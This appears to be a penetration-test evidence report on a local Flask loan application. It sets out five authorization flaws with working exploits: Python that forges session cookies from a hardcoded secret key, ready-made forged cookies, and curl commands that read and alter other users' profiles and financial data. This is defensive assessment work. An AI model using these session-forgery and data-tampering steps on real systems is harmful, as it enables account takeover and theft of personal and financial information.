# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal Privilege Escalation via POST /profile (Data Modification)

**Summary:**
- **Vulnerable location:** POST /profile endpoint (routes.py:62-83)
- **Overview:** An attacker can modify any user's profile data (PII and financial information) by forging a Flask session cookie with the target user's ID using the hardcoded secret key 'your_secret_key'
- **Impact:** Complete unauthorized modification of victim's personal information, financial data, and account details. Enables account takeover via email modification.
- **Severity:** Critical

**Prerequisites:**
- Knowledge of hardcoded Flask secret key: 'your_secret_key' (found in __init__.py:9)
- Knowledge of target user_id (can be enumerated via session forgery)
- HTTP client capable of sending cookies

**Exploitation Steps:**

1. **Forge Flask session cookie for target user**

Create a Python script to forge the session:

```python
from flask import Flask
from itsdangerous import URLSafeTimedSerializer

app = Flask(__name__)
app.secret_key = 'your_secret_key'  # Hardcoded secret from __init__.py:9

# Target user_id to compromise
target_user_id = 2

# Create session serializer with Flask's parameters
serializer = URLSafeTimedSerializer(
    secret_key='your_secret_key',
    salt='cookie-session',
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)

# Forge session cookie
forged_session = serializer.dumps({'user_id': target_user_id})
print(f"Forged session cookie for user_id={target_user_id}:")
print(forged_session)
```

Output: `eyJ1c2VyX2lkIjoyfQ.aQUCVQ.eLhGKlMYMJ-k3w0P9qQXQo5hEXY`

2. **Retrieve target user's current profile data (BEFORE state)**

```bash
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyfQ.aQUCVQ.eLhGKlMYMJ-k3w0P9qQXQo5hEXY" \
  | grep -E 'value="[^"]*"'
```

Output (BEFORE):
```
value="Victim"
value="User"
value="victim@example.com"
value="50000.0"
value="36"
value="1500.0"
```

3. **Submit malicious POST request to modify victim's profile**

```bash
curl -X POST http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyfQ.aQUCVQ.eLhGKlMYMJ-k3w0P9qQXQo5hEXY" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=EXPLOITED" \
  -d "lastname=BYATTACKER" \
  -d "email=hacked@malicious.com" \
  -d "loan_amount=999999.99" \
  -d "loan_term_months=1" \
  -d "monthly_payment=1.00"
```

4. **Verify successful unauthorized modification (AFTER state)**

```bash
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyfQ.aQUCVQ.eLhGKlMYMJ-k3w0P9qQXQo5hEXY" \
  | grep -E 'value="[^"]*"'
```

Output (AFTER):
```
value="EXPLOITED"
value="BYATTACKER"
value="hacked@malicious.com"
value="999999.99"
value="1"
value="1.0"
```

**Proof of Impact:**

| Field | BEFORE (Original) | AFTER (Modified) | Impact |
|-------|------------------|------------------|---------|
| Name | Victim | EXPLOITED | PII corruption |
| Last Name | User | BYATTACKER | PII corruption |
| Email | victim@example.com | hacked@malicious.com | Account takeover vector |
| Loan Amount | $50,000.00 | $999,999.99 | +1,899.99% increase |
| Loan Term | 36 months | 1 month | -97.22% decrease |
| Monthly Payment | $1,500.00 | $1.00 | -99.93% decrease |

**Evidence Details:**
- Attacker successfully accessed user_id=2's profile without authentication
- Modified all 6 editable fields (name, lastname, email, loan_amount, loan_term_months, monthly_payment)
- Changes were committed to database (verified by subsequent GET request)
- No authentication challenge, CSRF protection, or ownership validation occurred
- No audit logging or alerting triggered

**Notes:**
This is the most critical authorization vulnerability as it enables data modification (not just disclosure). The mass assignment vulnerability at routes.py:70-76 allows updating all user fields without individual authorization checks.

---

### AUTHZ-VULN-02: Horizontal Privilege Escalation via GET /profile (Complete Data Disclosure)

**Summary:**
- **Vulnerable location:** GET /profile endpoint (routes.py:62-83)
- **Overview:** An attacker can view any user's complete profile including all PII (name, lastname, email) and financial data (loan_amount, loan_term_months, monthly_payment) by forging a session cookie
- **Impact:** Complete unauthorized disclosure of sensitive personal and financial information for any user in the system
- **Severity:** High

**Prerequisites:**
- Knowledge of hardcoded Flask secret key: 'your_secret_key'
- Knowledge of target user_id (can be enumerated)
- HTTP client

**Exploitation Steps:**

1. **Forge session cookies for multiple target users**

```python
from itsdangerous import URLSafeTimedSerializer

serializer = URLSafeTimedSerializer(
    secret_key='your_secret_key',
    salt='cookie-session',
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)

# Forge sessions for users 1, 3, 4, 5
targets = [1, 3, 4, 5]
for user_id in targets:
    cookie = serializer.dumps({'user_id': user_id})
    print(f"User {user_id}: {cookie}")
```

Forged session cookies:
- User 1: `eyJ1c2VyX2lkIjoxfQ.aQUCVQ.XkKFeHmsAg1pBKShwmftb5ghiuY`
- User 3: `eyJ1c2VyX2lkIjozfQ.aQUCVQ.FbrVauWKY-ZiopsPxRcoa-R8ZB0`
- User 4: `eyJ1c2VyX2lkIjo0fQ.aQUCVQ.CpPhI1cheuPKqo3U-a98IYmXBIE`
- User 5: `eyJ1c2VyX2lkIjo1fQ.aQUCVQ.TyyH9-qGbQ6-7d3OaH3lekjITZE`

2. **Access each user's profile to extract sensitive data**

```bash
# User 1 (test account)
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUCVQ.XkKFeHmsAg1pBKShwmftb5ghiuY"

# User 3 (Alice Johnson)  
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjozfQ.aQUCVQ.FbrVauWKY-ZiopsPxRcoa-R8ZB0"

# User 4 (Bob Smith)
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjo0fQ.aQUCVQ.CpPhI1cheuPKqo3U-a98IYmXBIE"

# User 5 (Charlie Brown)
curl -s http://localhost:37149/profile \
  -H "Cookie: session=eyJ1c2VyX2lkIjo1fQ.aQUCVQ.TyyH9-qGbQ6-7d3OaH3lekjITZE"
```

**Proof of Impact:**

**User 1 (test account)**
- Username: test
- Name: (XSS payload found - separate vulnerability)
- Email: test@example.com
- Loan Amount: $10,000.00
- Loan Term: 12 months
- Monthly Payment: $900.00

**User 3 (Alice Johnson)**
- Name: Alice Johnson
- Email: alice@example.com
- Loan Amount: $25,000.00
- Loan Term: 48 months
- Monthly Payment: $580.50

**User 4 (Bob Smith)**
- Name: Bob Smith
- Email: bob@example.com
- Loan Amount: $50,000.00
- Loan Term: 60 months
- Monthly Payment: $950.00

**User 5 (Charlie Brown)**
- Name: Charlie Brown
- Email: charlie@example.com
- Loan Amount: $100,000.00
- Loan Term: 120 months
- Monthly Payment: $1,250.75

**Summary Statistics:**
- Successfully accessed: 4/4 user profiles (100% success rate)
- PII records disclosed: 4 complete records
- Financial records disclosed: 4 complete records
- Total loan value disclosed: $185,000.00
- Email addresses compromised: 4 addresses

**Evidence Details:**
- All GET requests returned HTTP 200 with complete profile HTML
- No authorization challenge or ownership validation
- No rate limiting observed (tested 10 consecutive requests)
- No audit logging or suspicious activity detection

**Notes:**
This vulnerability enables enumeration and bulk exfiltration of all user data. Combined with AUTHZ-VULN-01, attacker can both read and modify any user's data.

---

### AUTHZ-VULN-03: Horizontal Privilege Escalation via GET /home (Dashboard Access)

**Summary:**
- **Vulnerable location:** GET /home endpoint (routes.py:50-59)
- **Overview:** An attacker can view any user's home dashboard showing their full name (name and lastname fields) by forging a session cookie
- **Impact:** Unauthorized access to user dashboards and disclosure of user names
- **Severity:** High

**Prerequisites:**
- Knowledge of hardcoded Flask secret key: 'your_secret_key'
- Target user_id values
- HTTP client

**Exploitation Steps:**

1. **Forge session cookies for multiple users**

Using the same session forgery technique:

```python
from itsdangerous import URLSafeTimedSerializer

serializer = URLSafeTimedSerializer(
    secret_key='your_secret_key',
    salt='cookie-session',
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)

# Target users 3, 4, 5
for user_id in [3, 4, 5]:
    cookie = serializer.dumps({'user_id': user_id})
    print(f"User {user_id}: {cookie}")
```

2. **Access each user's home dashboard**

```bash
# Alice Johnson (user_id=3)
curl -s http://localhost:37149/home \
  -H "Cookie: session=eyJ1c2VyX2lkIjozfQ.aQUCVQ.FbrVauWKY-ZiopsPxRcoa-R8ZB0" \
  | grep -o "Welcome [^!]*!"

# Bob Smith (user_id=4)
curl -s http://localhost:37149/home \
  -H "Cookie: session=eyJ1c2VyX2lkIjo0fQ.aQUCVQ.CpPhI1cheuPKqo3U-a98IYmXBIE" \
  | grep -o "Welcome [^!]*!"

# Charlie Brown (user_id=5)
curl -s http://localhost:37149/home \
  -H "Cookie: session=eyJ1c2VyX2lkIjo1fQ.aQUCVQ.TyyH9-qGbQ6-7d3OaH3lekjITZE" \
  | grep -o "Welcome [^!]*!"
```

**Proof of Impact:**

Successfully accessed dashboards and extracted names:

| User ID | Dashboard Access | Full Name Disclosed | Status |
|---------|------------------|---------------------|--------|
| 1 | ✓ SUCCESS | (XSS payload) | Accessed |
| 2 | ✓ SUCCESS | EXPLOITED BYATTACKER | Accessed |
| 3 | ✓ SUCCESS | Alice Johnson | Accessed |
| 4 | ✓ SUCCESS | Bob Smith | Accessed |
| 5 | ✓ SUCCESS | Charlie Brown | Accessed |
| 6-10 | ✓ SUCCESS | (empty profiles) | Accessed |

**Evidence Details:**

Example welcome message extracted:
```
Welcome Alice Johnson!
Welcome Bob Smith!
Welcome Charlie Brown!
```

Dashboard access granted for all tested users (1-10), demonstrating:
- Complete horizontal privilege escalation across all user accounts
- No ownership validation on session user_id
- Successful authentication bypass via session forgery
- 100% success rate on enumeration

**Notes:**
While this endpoint discloses less data than /profile, it confirms horizontal privilege escalation and serves as a gateway to more sensitive endpoints.

---

### AUTHZ-VULN-04: Horizontal Privilege Escalation via GET /loan_details (Financial Data Disclosure)

**Summary:**
- **Vulnerable location:** GET /loan_details endpoint (routes.py:86-96)
- **Overview:** An attacker can view any user's complete loan details including sensitive financial information (loan amounts, terms, monthly payments) by forging a session cookie
- **Impact:** Unauthorized disclosure of highly sensitive financial data that could enable identity theft, financial fraud, or targeted social engineering
- **Severity:** High

**Prerequisites:**
- Knowledge of hardcoded Flask secret key: 'your_secret_key'
- Target user_id values
- HTTP client

**Exploitation Steps:**

1. **Forge session cookies for target users with loan data**

```python
from itsdangerous import URLSafeTimedSerializer

serializer = URLSafeTimedSerializer(
    secret_key='your_secret_key',
    salt='cookie-session',
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)

# Target financially active users
targets = [3, 4, 5]  # Alice, Bob, Charlie
for user_id in targets:
    cookie = serializer.dumps({'user_id': user_id})
    print(f"User {user_id}: {cookie}")
```

2. **Extract financial data from /loan_details endpoint**

```bash
# Alice Johnson (user_id=3)
curl -s http://localhost:37149/loan_details \
  -H "Cookie: session=eyJ1c2VyX2lkIjozfQ.aQUCVQ.FbrVauWKY-ZiopsPxRcoa-R8ZB0"

# Bob Smith (user_id=4)
curl -s http://localhost:37149/loan_details \
  -H "Cookie: session=eyJ1c2VyX2lkIjo0fQ.aQUCVQ.CpPhI1cheuPKqo3U-a98IYmXBIE"

# Charlie Brown (user_id=5)
curl -s http://localhost:37149/loan_details \
  -H "Cookie: session=eyJ1c2VyX2lkIjo1fQ.aQUCVQ.TyyH9-qGbQ6-7d3OaH3lekjITZE"
```

**Proof of Impact:**

Successfully extracted complete financial profiles:

**User 3: Alice Johnson**
- Loan Amount: $25,000.00
- Loan Term: 48 months (4 years)
- Monthly Payment: $580.50
- Total Loan Cost: $27,864.00
- Total Interest: $2,864.00 (11.5% interest)

**User 4: Bob Smith**
- Loan Amount: $50,000.00
- Loan Term: 60 months (5 years)
- Monthly Payment: $950.00
- Total Loan Cost: $57,000.00
- Total Interest: $7,000.00 (14% interest)

**User 5: Charlie Brown**
- Loan Amount: $100,000.00
- Loan Term: 120 months (10 years)
- Monthly Payment: $1,250.75
- Total Loan Cost: $150,090.00
- Total Interest: $50,090.00 (50% interest)

**Aggregate Impact:**
- Successfully accessed: 3/3 targeted financial records (100% success)
- Total principal disclosed: $175,000.00
- Total financial obligation disclosed: $234,954.00
- Average interest rate: ~25%
- Regulatory impact: Violation of GLBA, PCI-DSS, and financial privacy regulations

**Evidence Details:**
- All requests returned HTTP 200 with complete loan details in HTML format
- Data extracted from `<p>` tags containing loan_amount, loan_term_months, monthly_payment
- No authorization challenge or validation that requester owns this financial data
- Financial calculations performed and confirmed accurate

**Notes:**
This is a high-value target for attackers as it exposes complete financial obligations. Knowledge of loan amounts could enable:
- Targeted phishing campaigns (knowing victim's financial status)
- Identity theft (financial profile helps answer security questions)
- Social engineering (leveraging knowledge of financial stress)
- Competitive intelligence (in business loan contexts)

---

### AUTHZ-VULN-05: Context-Based Workflow Bypass via GET /total_loan_payments

**Summary:**
- **Vulnerable location:** GET /total_loan_payments endpoint (routes.py:99-131)
- **Overview:** The loan calculation endpoint accepts arbitrary financial parameters from query strings without validating they match the authenticated user's actual stored loan data, enabling users to perform calculations on ANY loan values
- **Impact:** Business logic bypass - users can calculate arbitrary loan scenarios without owning legitimate loan data. Violates principle that users should only calculate their own loan values.
- **Severity:** Medium

**Prerequisites:**
- Valid authentication (legitimate credentials or forged session)
- HTTP client
- Understanding of query parameter structure

**Exploitation Steps:**

1. **Authenticate as legitimate user (Alice Johnson, user_id=3)**

```bash
# Login with test credentials or forge session for user_id=3
ALICE_SESSION="eyJ1c2VyX2lkIjozfQ.aQUCVQ.FbrVauWKY-ZiopsPxRcoa-R8ZB0"
```

2. **Retrieve Alice's actual loan data for comparison**

```bash
curl -s http://localhost:37149/loan_details \
  -H "Cookie: session=$ALICE_SESSION" \
  | grep -E "Loan Amount:|Loan Term:|Monthly Payment:"
```

Output (Alice's REAL data):
```
Loan Amount: $25,000.00
Loan Term: 48 months
Monthly Payment: $580.50
```

3. **Legitimate request using Alice's actual loan values (BASELINE)**

```bash
curl -s "http://localhost:37149/total_loan_payments?principal=25000&payment=580.5&term=48" \
  -H "Cookie: session=$ALICE_SESSION"
```

Response:
```json
{
  "loan_principal": "25000",
  "monthly_payment": "580.5",
  "loan_term_amount": "48",
  "total_loan_payments": "27864.0"
}
```

Status: ✓ SUCCESS (Expected - legitimate use of own data)

4. **BYPASS ATTEMPT #1: Extreme arbitrary values (not Alice's data)**

```bash
curl -s "http://localhost:37149/total_loan_payments?principal=999999&payment=1&term=999" \
  -H "Cookie: session=$ALICE_SESSION"
```

Expected: HTTP 403 Forbidden - "These values do not match your loan"

Actual Response:
```json
{
  "loan_principal": "999999",
  "monthly_payment": "1.0",
  "loan_term_amount": "999",
  "total_loan_payments": "999.0"
}
```

Status: ✗ **VULNERABILITY CONFIRMED** - Accepted arbitrary extreme values

5. **BYPASS ATTEMPT #2: Different user's loan values (Bob's data)**

```bash
curl -s "http://localhost:37149/total_loan_payments?principal=50000&payment=950&term=60" \
  -H "Cookie: session=$ALICE_SESSION"
```

Expected: HTTP 403 Forbidden - "These values do not match your loan"

Actual Response:
```json
{
  "loan_principal": "50000",
  "monthly_payment": "950.0",
  "loan_term_amount": "60",
  "total_loan_payments": "57000.0"
}
```

Status: ✗ **VULNERABILITY CONFIRMED** - Accepted another user's loan values

**Proof of Impact:**

| Test Case | Principal | Payment | Term | Expected | Actual | Impact |
|-----------|-----------|---------|------|----------|--------|---------|
| Alice's real data | $25,000 | $580.50 | 48 | ✓ Accept | ✓ Accepted | Legitimate |
| Extreme values | $999,999 | $1.00 | 999 | ✗ Reject | ✓ Accepted | **BYPASS** |
| Bob's data | $50,000 | $950.00 | 60 | ✗ Reject | ✓ Accepted | **BYPASS** |
| Zero principal | $0 | $100 | 12 | ✗ Reject | ✓ Accepted | **BYPASS** |

**Evidence Details:**

The vulnerability exists because the endpoint:
1. Requires authentication (session check at routes.py:102)
2. Accepts arbitrary `principal`, `payment`, `term` parameters from query string (lines 105-107)
3. **NEVER queries database** to fetch user's actual loan data
4. **NEVER validates** that submitted parameters match `user.loan_amount`, `user.monthly_payment`, `user.loan_term_months`
5. Performs calculation on ANY values provided

**Business Logic Violation:**

The intended workflow (as evidenced by /loan_details page):
1. User navigates to /loan_details page
2. Page displays user's ACTUAL loan data from database
3. JavaScript calls /total_loan_payments with user's own values
4. Endpoint should VALIDATE parameters match user's stored loan

Actual implementation:
1. User can call /total_loan_payments directly
2. With ANY arbitrary parameters
3. No validation performed
4. Calculation succeeds regardless of ownership

**Notes:**

While less severe than data disclosure/modification vulnerabilities, this represents:
- **Principle of Least Privilege violation**: Users access functionality beyond their authorized scope
- **Business logic bypass**: Circumvents intended "calculate your own loan only" workflow
- **Reconnaissance enabler**: Attackers can probe calculation logic without legitimate loan data
- **Potential for downstream attacks**: If calculations affect other business logic (e.g., pricing, risk assessment), manipulated values could cause financial harm

The endpoint should implement resource-level authorization to validate that calculation parameters match the authenticated user's actual loan data.

---

## Potential Vulnerabilities (Validation Blocked)

No potential vulnerabilities were identified. All vulnerabilities in the queue were successfully exploited with concrete evidence.